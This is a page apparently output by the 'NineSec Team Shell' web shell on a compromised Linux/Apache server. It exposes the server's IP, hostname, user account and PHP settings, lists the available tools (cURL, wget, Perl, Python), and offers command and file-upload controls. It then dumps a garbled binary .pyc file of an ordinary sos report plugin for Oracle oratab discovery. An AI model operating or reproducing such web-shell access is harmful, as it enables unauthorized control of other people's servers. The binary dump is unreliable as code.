NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/oratab.cpython-36.opt-1.pyc
3

~�g��@s2ddlZddlmZmZmZGdd�dee�ZdS)�N)�Plugin�RedHatPlugin�	PluginOptc@s6eZdZdZdZd
ZdZeddedd�gZ	dd�Z
d	S)�Oratabz.Oratab discovery for Oracle instances on Linux�oratab�servicesz/etc/oratabzlocation of the oratab file)�defaultZval_typeZdesccs��jd�}tjj|�r�y�t��t|ddd��F}x>|j�j�D].}|jd�s<|j	�rVq<�j
|jd�d�q<WWdQRXdd	g}�j��fd
d�|D��Wq�t
k
r�}z�jd|�d
|���dSd}~Xq�Xn
�jd�dS)Nr�rzUTF-8)�encoding�#�:�z
dbs/init*.orazdbs/spfile*.oracs"g|]}�D]}�j||��qqS�)Z	path_join)�.0Zdbfile�path)�	path_list�selfr�/usr/lib/python3.6/oratab.py�
<listcomp>/sz Oratab.setup.<locals>.<listcomp>zCould not open conf file z: z@Could not locate oratab file. Oracle data will not be collected.)Z
get_option�osr�isfile�set�open�read�
splitlines�
startswith�strip�add�splitZ
add_copy_spec�IOErrorZ
_log_errorZ	_log_warn)rZora_tabZofile�lineZdbfilesZexr)rrr�setups"
"zOratab.setupN)r)r)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesr�strZoption_listr!rrrrr
s
r)rZsos.report.pluginsrrrrrrrr�<module>	s

NineSec Team - 2022